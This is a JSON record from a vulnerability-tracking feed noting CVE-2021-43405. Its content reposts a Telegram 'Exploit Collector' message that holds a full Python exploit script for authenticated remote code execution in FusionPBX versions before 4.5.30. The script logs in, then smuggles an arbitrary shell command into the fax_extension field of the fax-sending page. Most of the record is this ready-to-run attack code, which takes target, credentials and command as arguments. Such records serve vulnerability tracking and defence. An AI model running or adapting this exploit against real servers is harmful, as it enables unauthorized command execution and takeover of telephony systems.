{"uuid": "3432d9c5-ab11-4167-b884-da2e217714ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-43405", "type": "seen", "source": "https://t.me/hacking_Attack/30604", "content": "Exploit Collector\nFusionPBX 4.5.29 Remote Code Execution\n\nhttps://4.bp.blogspot.com/-mkcU-A73eZ4/WWlu7eKaHEI/AAAAAAAAIJY/m_4841aOwNcKGKR9ykgWprFWjwy04TKNACLcBGAs/s1600/h11.png \nFusionPBX version 4.5.29 suffers from a remote code execution vulnerability.\n\nMD5 | 04581f4f5ce3e86ac66a0ee9d086008f\n\nDownload\n# Exploit Title: FusionPBX 4.5.29 - Remote Code Execution (RCE) (Authenticated)\n# Date: 11/08/2021\n# Exploit Author: Luska\n# Vendor Homepage: https://www.fusionpbx.com/\n# Software Link: https://github.com/fusionpbx/fusionpbx\n# Version: < 4.5.30\n# Tested on: Debian\n# CVE : CVE-2021-43405\n\n#!/usr/bin/python3\nimport requests\nfrom requests_toolbelt.multipart.encoder import MultipartEncoder\nimport argparse\ncookies = {'PHPSESSID': '31337'}\nproxy = {'http': 'http://127.0.0.1:8080'}\n\ndef login(url, username, password):\ndata = {\n'username': username,\n'password': password\n}\nr = requests.post(url + '/core/user_settings/user_dashboard.php', data=data, cookies=cookies)\nreturn r.status_code\n\ndef exploit_request(url, cmd):\nprint('[+] Sending Exploit Request')\nmp_encoder = MultipartEncoder(fields={ 'fax_subject': '1337', 'fax_extension': f';{cmd} #', 'action': 'send', 'submit': 'send' })\nr = requests.post(url + '/app/fax/fax_send.php', cookies=cookies, headers={'Content-Type': mp_encoder.content_type}, data=mp_encoder, proxies=proxy)\nreturn r.status_code\n\ndef exploit(url, username, password, cmd):\nif login(url,username,password) == 200:\nprint('[+] Login Successful')\nexploit_request(url, cmd)\nprint('[+] Exploit Sucessful')\nelse:\nprint('[-] Login Failed')\n\nif __name__ == '__main__':\nparser = argparse.ArgumentParser(description='[*] FusionPBX < 4.5.30 Remote Code Execution | CVE-2021-43405')\n\nparser.add_argument('-t', metavar='<target', help='Target/host URL, example: http://127.0.0.1', required=True)\nparser.add_argument('-u', metavar='<user', help='User to login', required=True)\nparser.add_argument('-p', metavar='<password', help='User\\'s password', required=True)\nparser.add_argument('-c', metavar='<cmd', help='Command to be executed', required=True)\n\nargs = parser.parse_args()\n\ntarget = args.t\nuser = args.u\npassword = args.p\ncmd = args.c\n\nexploit(target, user, password, cmd)\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:10.736087Z"}